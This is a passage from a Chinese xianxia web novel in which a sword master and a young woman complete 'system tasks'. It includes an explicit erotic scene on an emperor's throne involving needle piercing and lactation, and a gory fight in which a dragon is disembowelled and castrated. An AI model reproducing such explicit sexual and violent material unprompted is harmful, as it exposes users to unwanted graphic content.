再看看跟在他身后的人,腰间都挎着刀剑,眼神警惕,又站得笔直板正,一看就是大家世族带出来的侍卫。
商卿夜替俞霜挡了男人掩不掉煞气与戾气的目光,神色有些许玩味。
如果眼下正好有王公大臣经过,怕是会当场跪下,惊呼万岁。
此人正是白龙鱼服的陆浑国当朝天子,澹台深。第一眼见到他的人,注意力很难放在他的容貌气质上,而是他仿佛含着血色的一双重瞳。
澹台深为罪人之女所生,生有异象,双目四瞳,据说是为天生帝王之兆,为先帝忌惮,生母因此被打入冷宫,澹台深被交由宫女太监服侍。
七年前,澹台深果然弑父篡位。持异声清君侧诸臣多被处死,夷三族,或全家流放。
澹台深虽继位不正,却也治国有道,重视农桑,筹备军务,国力日渐强盛。与东夷一战,用兵入神,把蛮夷与陆浑统一巩固,又吞并四方周边小国,扩张版图,可谓一代枭雄。
连这枭雄都要避而不谈,触之即死的逆鳞,就是天阉不举的事实……
商卿夜记得清清楚楚,尽管原著仙尊将《扑朔化春决》传授澹台深,却无法完全治好他的天残毛病。他表面感激涕零,内里却因为秘密被发现而深恨仙尊,寻了无数奇淫巧具肆意侵害,玩腻之后,就把走火入魔的仙尊弃之敝履。
然后就是……仙尊被妖族死对头发现,丢入御龙峰,经历最屈辱的一个月,彻底失去自我、万劫不复。
他还没想好要怎么处理眼前的人渣皇帝,袖口一松,俞霜已经转到他前面,伸开手臂,跟阻挡老鹰的小母鸡似的,鼓足勇气:“你,你谁啊?这里没有什么仙尊,只有我夫君!”
商卿夜被这句话狠狠恍了一下神,偷偷吸了一口气,把各种繁杂思绪压在舌下,可哪怕再想克制,一种代表情欲的潮红也漫过耳根,染粉了剑尊的面颊。
澹台深目光扫过商卿夜微微沁粉的面容,额角青筋突突跳了几下,神情阴冷而暴戾:“哪里来的无知丑妇?”
说罢,眼风往身后一厉:“你们都死了不成?还不叉人下去,别污了仙尊的眼!”
俞霜两腿已经开始哆哆嗦嗦发抖了,商卿夜唇角一扬,捏捏她腰间的一圈肉:“陛下好大的口气,想必是自信能以区区明婴后期修为,拿捏我们二人。”
澹台深脸色骤然一变:“你,你不是修为跌落?怎能看清……唔!”
话音未落,剑修长臂轻舒,持剑之手已牢牢扣住澹台深的头颅。
腥风翻涌,在观虚圆满的修为驱使下,魔气暴涨,一股极阴寒的锥骨之感穿过澹台深大脑,散播向他的四肢百骸。
商卿夜的神识在凡人天子已然瘫痪的识海中转了几圈,最后开口:“怪道此人分外沉不住气,原来是从话本里出来的废物。”
“什么意思呀……”俞霜扯了扯剑修袍角,对上分外妖邪冰寒的目光,顿时缩起脖子,嘴巴也跟着瘪了。
“没什么。”商卿夜一把将澹台深识海搅碎,确认人真的成了痴痴呆呆的傻子,被黏腻恶心的记忆激起的不快愠怒才减弱一点。“只是垃圾而已。”
“你好凶啊……”
身后传来一声呜咽。
剑修分不清她是装的,还是真的吓到了,叹一声,伸手盖住姑娘的眼睛,把人抱紧,搂着轻轻地晃:“不是故意的,你先别看我。”
至少在暗中,他的怀抱是温暖平静的。
“剑尊不要多想他,好不好?”她的脸埋在他手心,说话声音也闷闷的。
商卿夜多希望自己能
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应她一声。
他曾经是弈星宗的天之骄子,从剑峰大师兄一直做到仙尊长老。可曾对友人、对同道,对宗门付出的那些心血,就像是飞腾在暮光下的脆弱蝴蝶,一只只全死了,只留下一个被怒恚愤恨烧灼了太久的空洞,渗出些污浊丑恶的东西。
或许他现在该装作若无其事的样子说,啊,过一天就忘了。可他心里抓着深藏着的已知或自己也未曾得见的痛楚,迟迟不肯放手。
“……夫君?”她又把身体往前送了送。
“你到底懂不懂自己在说什么?”
商卿夜松开手,俯身瞧她的眼睛。一点也不意外的,里面仅有一片与情爱无关的清凌。
“这么叫……你会开心?”俞霜犹犹豫豫,不敢确定。“但我很笨,所以你不喜欢的话,我就不这么叫了。”
剑修觉着心底漫出些奇怪的痛感:霜或许不如雾那样捉摸不定,却也来得更冰冷凉薄。
“如果能让你高兴起来,之前的事我可以继续做。”俞霜琢磨着开口。“不舒服的感情,我也可以把它们拿走。甜食都给你,我已经吃够啦。”
商卿夜不说话了。接着他安抚受惊的妇人摊主,又施了个法术,将澹台深及其侍卫用结界跟两人隔在一起。
“你只会不停地给我东西吗?”他肃着脸问。
“这样不行吗?”俞霜疑惑。
“不行,我不要这些。”
这下她有些站不稳了,浑身发抖,表情失去控制:“那我……那我就没用了……你不想要了,剑尊不想要我了……”
商卿夜吓了一大跳,好悬没给她跪下:“不对?我不是这个意思!”
“对不起,对不起……我太没用……对不起。”俞霜满脸都是眼泪,推他一下,踉踉跄跄往后退,右手却被他握得太紧,抽不出来。
“别这么说,又又,你看我,你看着我。”商卿夜悔得几乎想往自己身上捅几剑,“和你有没有用没关系,你只是没懂我的意思。都怪我,我该慢慢教你,你一点错都没有,一点也没有。”
她揉着眼睛,抽抽噎噎,停不下来:“那你什么意思啊?我不明白,我不懂嘛!”
商卿夜不自觉捏了捏手指:“……现在不是合适的时间,你听不懂的。”
“要是我一直不懂怎么办?”俞霜一个劲掉眼泪,呜咽的声音将他思绪纷乱的心都搅碎了。“都说了我很笨的,要是我一直不懂怎么办?”
“你不笨,况且就算那样我也决不会抛弃又又。”商卿夜抓着她的手盖向心口。“我发心魔誓,天雷誓……绝对不会不要你。但在你弄明白我的意思之前,不能再叫我夫君。”
“所以你,你是因为不想听我叫你夫君,所以故意吓唬我吗?”她没什么气势地瞪他一眼。“你是不是在欺负我啊?”
“是,我错了,特别坏,我对不起又又。”剑尊低声下气、伏低做小。“让你欺负回来好不好?想怎么欺负就怎么欺负。”
俞霜睁着红通通的兔子眼睛,歪头思考了一会儿,想着想着,脸跟着红了:“我要欺负回来!那就,任务……任务十一?”
商卿夜满口应好,赶忙去看任务十一是什么,直到看清楚介绍,才觉得自己可能好得有点太早了。
在……紫禁城皇宫,天子龙椅上,做……做什么事?
顶着剑尊能戳死统的目光,希彤闪了闪,坚强地维持住了任务的不可变动性,并让任务栏下方的一行附注更明显了点。
——必用道具:明黄龙袍X1,妖妃套装X1。
8. 第八章
紫禁城外廷最大、最庄严的宫殿,便是皇帝处理重要政务的雍和宫。雍和宫主殿为太清殿,一般只有大典或朝会时才启用,装潢华丽大气,各处金碧辉煌。
澹台深的龙椅以紫檀打就,靠背高耸,座椅厚重,扶手有金龙缠绕,椅背盘龙栩栩如生,座垫绣有龙凤纹样,无论从哪个角度看,都凝聚了古代皇权至高无上的地位。
此刻正是子时,太清殿空无一人,负责洒扫的宫女太监也早就清出去了,便是有什么人,这会也进不来,整个太清殿都被观虚修士布置的结界笼罩,静谧而安宁。
作为太清殿里唯一一个会呼吸的生物,俞霜现在一点也不安宁。
半个时辰前,她被宫女伺候着,穿了里三层、外三层的大礼服,最里面是一件轻薄透气的棉衫,接着是绣有五爪金龙的金黄龙袍,袖口宽大,下摆流畅,腰间再以玉石腰带束紧,外披一件珠光宝气的冕服。
她未戴冕帽,半长不长的头发被宫女以巧手拢进龙纹玉冠,除却身高实在撑不起来以外,俞霜看着镜子里的自己,倒当真有几分真龙天子的威仪。
即使这样,在龙椅上坐久了,一个人孤零零的,很快就觉得坐立不安。
剑尊说……他要准备准备。
还要等多久呢?俞霜捧着脸,双腿搭着龙椅底座晃悠,好奇一阵一阵漫过心头。
就在这时,宫殿通往后廷的内门被缓缓推开,俞霜忙扭头去看:只见传闻中祸乱陆浑国国境的妖妃款款步入宫殿。
来者凤冠高佩,脸覆面纱,着一袭金丝龙凤绸裙,宽大的袖口随步伐轻扬,仿佛流动的海棠红霞。
“……剑尊?”
俞霜呆了整整一盏茶的时间,才期期艾艾问出一句。
“不是剑尊,是妖妃。”
面纱下传来的声音清朗低沉,温柔似水,俞霜却硬生生从里面听出咬牙切齿的意味,缩了缩脖子。
她也……她也不知这任务十一会这么奇怪的。
龙袍很短,妖妃套装偏又高而宽长,按身形去合,一看便知各自被分配的角色。
若天子龙袍属于俞霜,那妖妃自然是……商卿夜。
绯色宫裙间束着一条极精致的玉带,金线与红宝交织成凤鸟展翅的图案,点缀闪烁的珍珠与温润的翡翠。
她不自觉伸手轻轻抚摸,玉带扣得一丝不苟,将剑尊本就紧实有力的腰线勾勒得分外窄瘦。
商卿夜终是不耐,拽下面纱,又摘掉凤冠,扯得环佩叮当,如瀑黑发尽数披散垂落,漫过俞霜悬在半空的手。
剑尊似是被拽得痛了,微微敛眸,眉间一点樱红花钿也跟着纤长鸦黑的眼睫轻轻颤动。他的眼角还点了胭脂,绵延出飞叶似的红痕。
与这堪称姝丽妩媚妆容截然相反的,是剑尊漠然孤清、神韵独超的平淡神情,仿佛一块无暇苍白的千年古玉,染了满身红尘烟火。
只是瞧着他,俞霜就已觉得脑袋浑浑噩噩,手脚不知该往哪儿放。
商卿夜也瞧着她,劲竹似的指扯松姑娘束紧的龙袍领口,挑了挑眉,眼底露出一丝玩味。
她是没有一丁点天子威严的,穿在这金黄龙袍里,更像偷穿大人衣服的孩童。
“陛下打算怎么欺负臣妾啊?”
温暖湿润的吐息洒在面上,俞霜躲了一下,似是难耐、似是羞赧地别过头:“我不……我不要了……”
商卿夜欺身而上,占了大半张龙椅,很快便剥去她最外面那层累赘冕服,鼻尖凑近她的喉口,嗅到一丝龙涎香醇厚如甘草般的香甜。
“又又,”他在她颈侧轻啄一口,啄得她浑身一抖,“好容易打扮一番,你看看我。”
她不敢抬眼,他就不急不躁地来回揉搓她,吻了吻姑娘颤抖的眼睫,再慢慢亲进柔软肉感的下唇。
舌尖叩开齿关,向内深入,抚过柔软的唇瓣和口腔湿润的内里。
俞霜被迫双唇微张,眼底划过一丝无措,还是默许了他的施为。
她分明置身剑尊温暖的怀抱之中,却从头到脚燃起一把火,心脏都要被那炽热的焰心灼伤。
“难受……”
俞霜神色困惑地扯弄龙袍,商卿夜见状,索性把袍子下的褶裤垫在龙椅背后:“约莫是心火毒性发作,算算时间,也该到了。又又,你还记得上次灵力是怎么运转的吗?”
她哼唧一声作为回应,灵力绊绊磕磕、不甚熟练地按照化春决的线路移动,羊脂玉似的面颊晕红一片,一缕汗湿的鬓发从玉冠中滑落,贴在颊边,被他往耳后拢去。
不知出于什么心态,商卿夜并未除去她头顶玉冠,甚至外袍也掩得结实。俞霜坐在龙椅中央,下半身掩在金黄精致的袍角里,又叠了一层绯色裙琚。
龙椅甚大,便是商卿夜跪在上方,空间也尚有余裕。他捏着她的灵力在手里把玩片刻,缓缓坐进她怀里。
不管傲骨如何刚硬,那里也早如花蕊般泛出浅浅柔红,晕出些与主人全然不符的痴态。
商卿夜将喉间不自觉漏出些轻哼,蹙眉隐忍,躬身去捉俞霜的手,引她隔着衣裙抚弄锁骨下的鎏珠,教她用坚硬的指甲,细细体味丝绸的每一寸柔软。
“……又又,你瞧,你该这么欺负我。”
她听话迎合,商卿夜身体也跟着向上一挺,晃了晃,到底跪住了,只是喘息急促,眼尾晕出些比红妆还靡丽艳红的颜色。
心火燃起,却又燃得不够,每一根神经都被细密的麻痒啃噬着,俞霜想要得更多,却不知从何处取得,只能笨拙地拱他胸口。
好容易找到变通的法子,也不过换成掌心,轻轻揉搓磨动。
“喜欢吗……手感怎么样?”
商卿夜脊背微弓,只觉微烫灵力随着心火传递倒灌腹腔,快被穿透的恐惧和双修心法运转到极致的乐与痛令剑修眼中泛出一抹水光。
“好软……”俞霜不知所措,身体跟着他动,迷迷糊糊的托着他,又有点儿困惑。“之前好像……好像没有这么软?”
她听到一声低沉的笑,含着些冰棱似的讥讽。
“你再看,任务十一……给你的东西。”
俞霜不知道怎么回事,但只能忍着憋闷感点开系统界面。任务十一完成后,炼器功能便对她完全开放,并赠送初级炼器炉与材料灵阵包。
还有……
“……墨玉寻梅针一套?”
“把它 ……取出来……”
商卿夜沙哑地低吟着,身体顺从地迎合她的灵力,眼角含着水光。
那一套墨玉寻梅针排列在一方软布套里,瞧着像给中医针灸用的器物,长短粗细不一。
商卿夜叫她取了细如牛毫的一根,注入灵气,那针尖就散发出盈盈玉光。
这是……做什么用的?
没等姑娘想明白,剑尊已扯开绯裙领口,笑意讥讽苦涩:“……好又又,
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你别怕,你用这针……给我通通吧。”
俞霜眼神发傻:“通……通哪里?我不懂……男的也有奶水吗?剑尊怀孕了?我把,我把剑尊嗯唔唔唔……”
话没说完,商卿夜扶额,堵住她的嘴:“男人自然不会产奶,媚骨……却会。破了身后,一月总有那么几日。奶水蓄在里面,不引出来,甚是难受……你帮帮我……好不好?”
俞霜呆了片刻,一手托起要被通的地方,忍着不好意思细细打量。
脂色一点蒙着一层薄汗,红润润的。原是结实胸肌的地方,鼓出些额外的饱满。
原本剑修的胸膛连着腰线蕴着一种不可思议的力量感,行卧举止都带着一股收敛自持的坚重,现在多了垂坠的弧度,沁出软腻,令人无法不为这种鲜明的反差而心生战栗。
“别再等了……”剑尊垂首,把她指骨含进唇间,讨饶似得抿了抿。“里面痒得太难过了……”
俞霜头皮一炸,手不自觉动起来,注满灵力的墨黑针尖对准几不可见的孔洞,玉光一闪,食指长短的针就刺进一半,扎进去,便体会到些血肉的撕扯感。
商卿夜腰身一颤,病态的潮红一直蔓延到脖颈,撑着上半身的双腿颤抖不休,跪坐到俞霜身上,染湿身下龙袍。
剑修像是忍受着莫大的苦楚,长眉紧蹙,双目微阖,一只手撑在龙椅背后,另一只手竟把扶手握碎了。
长发垂在两人之间,铺开一片深邃的夜空,俞霜想要观察他的神情,却只能看见朦胧的阴影。
“……另一边,也弄了吧。”他哑声道。
墨针穿过,俞霜听见一声沙哑至极的闷哼,随着是一连串轻喘。
商卿夜再抬起眼时,表情已因极致忍耐而全然失神,满面嫣红,唇却惨白,被咬出深深的血痕。
“剑尊,剑尊……”俞霜撑着他的腰,连唤几声,没有回应,只好尽力勾他的肩膀,“安归?”
他哼了一声,支离破碎的:“别动。”
说罢,商卿夜攥住她的手,往脐上比了比:“还想往哪儿去?”
俞霜头皮一炸,不知道该怎么回话,低头抿嘴,看了眼系统:“任务十二也完成了,我不明白……”
“那话本里的仙尊经受的,我也合该经受。”他的身躯尚在微微颤抖,声音却已淡了下来。“此后任务,大概都类似这些事罢。是你来做,我该庆幸。”
原著种种,俞霜并未读完小说,所以不知道。听了剑修的话,一时沉默。
“不是我,会是……谁呢?”
“认识的,不认识的,与我亲近的,与我结仇的。无论我怎么做……呵。”商卿夜直起身,慢慢恢复惯常的冷漠神情。
“哪里都是你的敌人,剑尊不会寂寞吗?”
商卿夜倏然抬头,神色狠戾,却对上俞霜坦然平和的双眼。
那双眼睛里蒙着潮湿的雨雾,轻缓柔和,仿佛能承接所有风霜雨雪。
“可以给我的。”她说。“我不会死,也不会寂寞,剑尊可以把讨厌的东西都给我。”
商卿夜怔愣片刻,旋即横她一眼:“你不如让我一剑抹脖子。”
俞霜刚想说她是认真的,就被一团硬中带软的东西堵住双唇。
“你通是通了,可里面的东西还没出来呢。”商卿夜把她按在胸前,语气不紧不慢,脸却红得都有点儿可怜了。“说不定是甜的,又又,你……你尝一尝罢。”
9. 第九章
商卿夜简直要被俞霜逼到发狂。
从男人身上吸奶,对她好似是一件很难想象、完全不知如何下口的事,只会拿舌尖猫儿舔水一样轻轻擦过。
一边舔,一边还要小心翼翼窥探他的神情,仿佛这若有似无的轻舐会弄痛人似的。
他倒希望她弄得痛一点、狠一点,盖过那股酥麻热烫的奇痒。
在剑修张口欲催时,俞霜露出一个终于下定决心的表情,战战兢兢地吸了一口。
被这么一吸,商卿夜只觉一股热烫电流贯穿刚被钻透、尚还酸麻不堪的孔眼。明明又胀又痛,液体涌出来的时候,却激发一股隐秘甘美的快乐。
反观俞霜……俞霜已经完全被嘴里中爆发的异香占据所有心神。
那是她从未尝过的滋味,是新剥荔枝仁,涌出的甜汁浓如牛乳,又多一分独特的黏稠甘香。
第一口甜尚掺着红丝丝甜腥腥的血,第二口甜便是纯净的甘液。
既似荔木、又似雪檀的异香久久凝在舌尖。
俞霜的手不自觉扣紧,过往忍饥挨饿的记忆卷土重来,迫使她赶快把能得到的都咽进肚子里。
“够了!”
盈商卿夜本不是孕夫,液体大半是灵力凝成,哪禁得住没完没了的饮用。
俞霜抬起脸,眼睛睁得极大,里面的情绪近似贪婪:“可是我还想喝……”
说罢拱来蹭去,移到另一边,把未被光顾的吃进嘴里。
商卿夜……实在是一点法子也没有的,只能咬着唇,忍耐那种灵魂好像也要被吞噬的痒意。
俞霜几乎在狼吞虎咽。
“够了,你放肆!”
剑修推开她,牙齿磨过扯出一阵抽搐的痛,差点跌下龙椅。俞霜也不知怎么想的,扣在背后的手突然发力,两人前后调转,换成商卿夜被摁在身下。
修仙之人无从想象,曾被饥饿屡次逼至极点的人,都能干出些什么事。
剑修猝不及防被制住双手,瘫在椅子里,锁骨的酸痛瘙痒不停绵延,连带着腰眼也酸麻酥软,提不起力气反抗。
“呃……”
商卿夜忍到极致的压抑呼吸里带着不可思议,完全没想到她会这么做。
没等他说出话来,她就咬住他的脖颈,剑尊顿时低泣一声,虚弱地挣扎一下而没有结果。
而她的舌尖又尝到甜丝丝的味道,牙齿就跟着积极地咬下去。
“你这小混球!”
剑尊忍无可忍,灵力魔气差点在经脉走岔了路,到底振奋几分,夹住俞霜的头,先制住人,再伸出手,拎着衣领将人向上一抛。
一念掐诀,俞霜被固定在半空,两条小短腿胡乱蹬踏,怎么也挣脱不了无形的束缚。
瞧着她还想舔自己湿腻腻的两根指头,商卿夜简直想给她掰下来嘎吱嘎吱嚼了,除尘术伴着清心决扔过去,拂得人发冠掉了,鬓发散乱,才像是醒过来似的,两眼放空,瞪着剑尊半遮半掩的身子。
“……明明是你叫我吃的,小气鬼,吝啬鬼!”姑娘委屈得直扁嘴,立刻被捏住嘴唇。
“噤声!”
面对这个滚刀肉,真是怎么想都不解恨,剑尊拢了衣襟,狠狠在她脸蛋咬了一口。
- - - - - -
第二天离开紫禁城,商卿夜腰酸得像是未筑基时挥了一万下剑。
昨夜他恼得没忍住,朝着俞霜屁股拍了两下,没用多少力,她眼里就含了两汪泪,嘤嘤呜呜停不下来。
剑修只好给姑娘揉,边揉边哄,揉得两人心猿意马。
她嚷着还要吃,里面吸无可吸,嘬得他媚骨又疼又痒,缠上她不怎么明显的腰,勾着人又在炉鼎里排了一次心火。
吃饱了的小猪牵着剑尊的手,黏在身侧,没心没肺地指着糖葫芦小贩的稻草架子,水汪汪的眼睛看过来,张口说要。
一人买了一串,俞霜美滋滋地舔糖壳,商卿夜拿着自己的糖葫芦,捏在手里,并不吃,偏头看着姑娘,唇畔凝着笑意。
最后一日在凡人界,除了买糖葫芦,剑修也无法悠哉度过。
澹台深并未死,只是痴痴呆呆,变成了傻子,妥善关在只有剑修知道的地方。无论天道寄予原著里揪出来再活一次的人皇何等期望,眼下也被尽数粉碎,再不能给人添堵。
至于皇帝宝座,澹台深还有一弟,表面温顺老实,实则颇有能为,做不了枭雄,当守成之君并无问题。
接下来,按照系统提示,俞霜该去左长洲妖族之地,寻一份无踪紫精藤,按照任务要求,炼一只木灵根专用的天阶法宝。无踪紫精藤分布在妖族腹地,尤其是首领黑龙的龙宫附近,凭她的明婴修为,去往对正道修士并不友善的左长洲,简直是天方夜谭。
这任务说白了,就是让商卿夜主动去投妖族、投百年死敌姬照霄的罗网。可他也不能不去,姬照霄身上,亦有剑尊必须得到的东西。
想到这,商卿夜一反常态,竟然颇为愉悦。毕竟思考该换哪种方法杀人的时候,心情总不会太坏。
姬照霄……也是天道用老了的棋子,只是不知这次,占据这幅躯壳的,会是哪路奇葩。
剑修无声吐出一口浊气,面色不动,顺着袖子被拽的力道微微低头,道:“又又有什么事?”
“这么甜的糖葫芦,你怎么不吃呀?”姑娘歪头,眨巴着大眼睛问他。
商卿夜无奈轻笑:“凡人五谷杂粮与修士无益,此番只是给你解馋,以后可没有了。”
“哦……”俞霜皱了皱眉,倒也听话
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,“那我以后不吃了,有剑尊的奶就行。”
商卿夜差点左脚踩右脚跌一个跟头,大手一伸,拧她的腮:“莫要胡言乱语!”
她眼里闪过一丝狡黠快活的光,牵着剑修晃啊晃:“不说不说,哎呀,你尝尝嘛,糖葫芦很好吃的!”
说完,她咬了最后一口带着糖壳的山楂块,也不咽,含在齿间,司马昭之心路人皆知。
眼看着不满足她的小心思是不能罢了,商卿夜拐着人到了角落,一手撑在墙壁侧上方,宽袖掩了姑娘身影。
低头,嘴唇覆上她的双唇,舌灵巧一勾,把冰糖融化只剩酸溜溜的山楂肉卷进嘴里。
“好吃吗?”她小小声问,甜蜜蜜的吐息热而潮湿。
剑修轻哼一声,没说话,把手里捏着的另一根塞给她:“吃你的吧。”
- - - - - -
去往左长洲的路途甚是遥远,便是观虚修为御剑飞行,也需近七日,换成坐得舒服的浮空宝具,约莫十天左右。
左长洲从天上往下看,是一绵延千里的荒洲,由无数暗云聚集似的群岛构成,连天色极为阴沉压抑,让人分不清是妖族生活之地还是魔界。
实际上,自百年前姬照霄成为妖族首领,左长洲便与魔境勾连,无论是原著仙尊,还是现在的剑尊,都是百年前妖魔之乱时与姬照霄结得仇。
那时妖魔联手大举入侵正道宗门,同为观虚,仙尊一剑斩断姬照霄龙筋,打下云去,正邪对抗的天平骤然倾斜。
那时黑龙便放话而出,若是仙尊有朝一日跌落尘埃、落其手里,必然令其遭受万万种无法想象的残酷折磨。
至于为何不是三十年河东三十年河西莫欺黑龙穷必然复仇云云……差距摆在那里,宣言就像大话了。
商卿夜手持一支鎏金扑花闹蛾,对着俞霜的发髻左看右看,挑了个合适的角度,点缀在她乌黑发间。
他倒也想给她一套完整头面,只是怎么看怎么不合适,最后只戴一对累丝红宝掩鬓,辅两支设计俏皮的闹蛾罢了。
俞霜是一点也不会打理自己的,描眉挽发,这些日子都是剑尊来做。她这时就分外乖,哪怕头发被扯痛了,也一副心满意足的样子,让他心里本是九分的怜爱,更是满到爆表。
飞舟穿过一个已成废墟的妖族集落,在南边的地平线上看见绵延几里的尘云,又听见阵阵雷声,数量多的令人惊心的黑羽魔鸟涌向飞舟,周身汇聚雷光,哪怕看到防御法阵,仍悍不畏死,撞成血沫也不曾停下。
“真是聒噪。”
剑修神色极为不耐,在听见远方龙吟后,眼底阴沉更厚三分。
“又又,我问你,若是仅这莲华域一条的龙肉烹好摆在面前,你……想不想吃,敢不敢吃?”
10. 第十章
经历了那么多奇怪的事,俞霜觉得自己的承受能力已经很强了,但是听到剑尊给《龙肉烹饪的一百种方法》开的小小讲座时,整个人都陷入一种怀疑人生的状态。
龙……吃龙,我吗?
一连三日,她都在思索这个问题。
剑尊带着她落脚一处黑黝黝的山头,向远处眺望,能看见妖族首领黑龙的龙宫。那附近阴云密布,龙宫形似骷髅,张牙舞爪,独占一山,与四方山头仅有铁索连通,整片山林都笼罩在狰狞煞气构成的血色结界中。
俞霜坐在金屋的院落捧脸发愣。
进入妖族地盘后,她便不敢远离商卿夜,更不能如前些日那样时时黏着。她睡下前,剑尊就提着剑出去了,房间里好像还残留着度厄剑凛冽冷寂的剑气。
往日这剑气只会令她安心,如今却多了一点说不清道不明的瘆人之感。
今日的剑尊未如惯例那般开始练剑,而是立剑身前,压下魔气,聚灵于顶。远方有些黑云翻翻滚滚地压过来,越积越厚。
乌云之下,寂灭剑意骤然生发,缓缓地向上挤压,越推越高,因风成势,继而直冲云霄!
剑意如匹,灵气随之而上,淡淡的银光中潜藏着流动的蓝光紫晕,与阴云之中豁开一个洞口,剩余的阴云也被灵气搅散。
天光骤绽,洒落商卿夜周身,黑袍里织着的金银双色丝线,绣成飘然浮云,在风中猎猎飞舞。
这是……剑尊向黑龙刺出的战书。
我已在此,还不来战!
俞霜踱到门边,手摸着门框,去瞧剑尊的背影。
她好奇地看着他——以她对世界匮乏的认知,他一直是她不能理解的、一种过于强大又坚定无比的力量。虽然不知这种力量为何会垂怜关照于她,但惯来随波逐流的俞霜,也乐意将自己交付给比自己色彩鲜明太多的存在。
剑气已伫立一刻有余,天边终于卷起一阵腥风,伴随震耳欲聋的绵长龙啸,一个庞大的黑影盘旋着直冲剑尊而来。仔细一看,正是一条黑如檀木的妖龙,蓦地冲破剑气织成的大网。
伴随一声暴响,鳞上布满倒刺的龙尾如一柄硕大无匹的流星锤,照着商卿夜甩去。
俞霜忽然觉出,这幅势不可挡的架势下面,透着说不出的谨慎与防戒。更多的,她并看不懂,只见剑尊长剑在手,足尖轻点,整个人便如一片轻羽向上腾起,度厄剑孤绝地、笔直地击出。
他的剑很快,或许因为太快,就变成极致的慢,如一泓莹然雪水,流转奇异华光,顷刻间,华光便被血色浸染。
血肉破碎,在半空中爆出一朵血花,黑龙发出一声怒吼,化妖成人,绕在腰间的龙尾鲜血淋漓:“商卿夜!好!你很好!”
商卿夜面无表情地看着他,眼睛洞黑。
姬照霄将毛刺般炸开的黑发向后撩去,露出底下一对浓眉虎目。他长相粗犷硬朗,刀削斧凿的面部线条不失英俊。妖龙目光肆无忌惮地将剑修从头到脚寸寸刮过,竟像是把视线用作挑逗的手,隔空侮辱对面的剑客。
“一百年……你果然还停留在观虚期,而我已晋升敛真。”
此话一出,商卿夜蓦地笑了,那笑意带走了眼里最后一点人味儿,空荒荒的显出它原本根植深处的残酷和静寂。那静寂与他的剑一样,不会有丝毫倾斜,要倾轧毁灭这世间万物。
俞霜仿佛从梦里惊醒,不安地攥了一下手指,往前走出几步。鞋底与地面的摩擦声吸引了对峙两人的注意。
姬照霄的眼风扫来,鼻间发出一声极为不屑的冷哼:“你将一个明婴期的女人带在身边作甚?你从万骨窟出来,居然毫发无伤,难不成是她在魔境救你一命?”
剑修沉默半刻,唇畔笑意愈发深浓:“她并不算救我一命,反倒落井下石。你居然还未发现,我媚骨已破,合欢道基初成?”
姬照霄先是一愣,继而大怒:“商卿夜,你到底有多淫/贱,居然连女人都上/得了你?”
商卿夜大笑!
笑声像是从讥讽深处猛然拔起,把人心抽得老高,又落到极底处,落进散漫铺开的死寂之气里。
但见剑修身形一闪,剑啸割裂荒沉,化为无数银白月影,布成一张锋利冰寒的大网。从度厄剑中爆发的杀气是如此骇人,卷着灵力隆隆作响,就像雪山底下喧嚣的激流,拍向黑龙就像拍裂碎石。
无论是黏腻的目光、下流的想象,还是纠缠的欲,一切围绕性和肉/体而生的恶臭垢腻,都要在这无尽凛寒的剑光下消减、消退、化为泡沫……
姬照霄肝胆俱裂,刚硬的身板在死亡前也柔软地扭动起来,一退,再退,躲避得越来越快,最后一捶胸口,将精血喷在手中张开的血色布帛上。
“九罗!”
崇俨《厌胜书》:“鬼车九首,妖怪之魁,凡所遭触,灭身破家。”
姬照霄百年前战败后,寻了魔道秘法,屠戮四方大妖,将其神魂封于万魂百魔幡中,令其自相残杀,最后唯余九道堕魔神魂供其驱使,故名“九罗”。
那九道妖兽神魂跃出血幡,试图反击寂灭剑意,时而结成诡谲多变的魔门迷阵,时而使出高深莫测的妖族秘法,辅以姬照霄敛真的深厚修为,当真阻了剑势。
有那么一刻,剑尊的身形在接连不断的冲击下晃了晃,腰腹被兽爪劈开四道裂口,可是最后,是度厄剑的剑尖,无声无息地抵上姬照霄咽喉,如同他做过几十次的那样,刺穿孽龙的逆鳞。
商卿夜并指成爪,插进丹田,将孽龙内丹一把拽出。
姬照霄目眦欲裂。
他已维持不了人身,化为长蛇似的黑龙。度厄剑扎穿脊柱,挑出其下龙筋,再剜出龙角,挥舞若行云流水,庖丁解牛。
商卿夜拭去眼下血沫,一只脚踏在黑龙后背,嘴角勾起一个弧度。
姬照霄还活着。只是比起莲华域最后一条真龙这样的威名,他更像一只被掏空的破麻袋,只有出的气,没有进的气。
俞霜被震得不知今夕是何年,只顾瞪大眼睛,看着场中的情景。
在她的注视当中,剑尊把蚯蚓似的龙身翻了个面,抖去剑尖残血,收剑入鞘。
下一秒,灵气化刀,黑龙下身藏在鳞甲下的龙根囊袋被一并切下,碾成一滩肉沫。
俞霜摸了摸失去知觉的脚,腿一软,坐在地上。
嗯,她好像已经习惯这样的行为了,可喜可贺。
“我,我不吃这个龙肉……”
仿佛过了一个世纪那么久,姑娘揪着衣角,一脸誓死如归。
“非要我吃,你,你饿死我吧!”
她沙哑的声音打破凝在剑修身上的沉默。商卿夜不在意地踢一脚龙尸,将龙丹、龙筋和龙角收入芥子戒:“放心,本就只是玩笑……咳咳……”
商卿夜剧烈地咳嗽起来,吐出一口血,身子像是撑不住一样晃了晃。
俞霜登时拔地而起,跑回去扶住他:“别动别动别动!”
“唔,剑尊,我给你替……”
话没说完,就被沾着血气的唇堵住嘴。剑修把她揽在怀里,力道之大,俞霜觉得自己要被揉进胸口。
“……又又,你别怕我。”
亲了半晌,商卿夜松开她,神色晦暗,低低地说。
“我为什么会怕你呢?”俞霜奇怪地问。
剑尊深深看了她一眼,摸摸姑娘的丸子头:“不怕就好。我在此调息一时半刻,你且去将金屋收回,我们便离开这里。”
“好,可剑尊你真不要……”俞霜被捏了一下嘴巴,气鼓鼓地往回走。
商卿夜踉跄一步,几乎跌倒,竭力不弄出动静,慢慢盘腿坐下。
俞霜还是不敢御剑飞行,所以只能步行,连走带跑,停在金屋之前。
突然,一股温和却黏腻、与带毒花香仿佛的灵力禁锢了她的身形,俞霜下意识想迈步甩脱,却无法动弹。
度厄剑嗡鸣,一股骇人的杀气从剑尊身上扬起,直指俞霜身侧。
一只修长有力的手扣住姑娘后颈。
“师兄,您若再动,师弟不敢保证俞姑娘的安危。”
这是个青年男人的声音,低沉温柔,还带着几分与生自来的可亲感,可俞霜听进耳中,却像是被什么软体动物爬过,只留下让人胃液倒流的黏腻不快。
商卿夜紧紧蹙眉:“……谢衡,你出现在此,意欲何为?”
男修扬起头,忽然朝着剑尊笑了笑,眼里浮出些怀念、留恋,以及深邃难测的复杂情感。
“四十九次了,师兄,你我二人,很不必对彼此遮遮掩掩。”
俞霜满脑门问号,被推了一把,向后踉跄几步,好容易在谢衡身后站定。
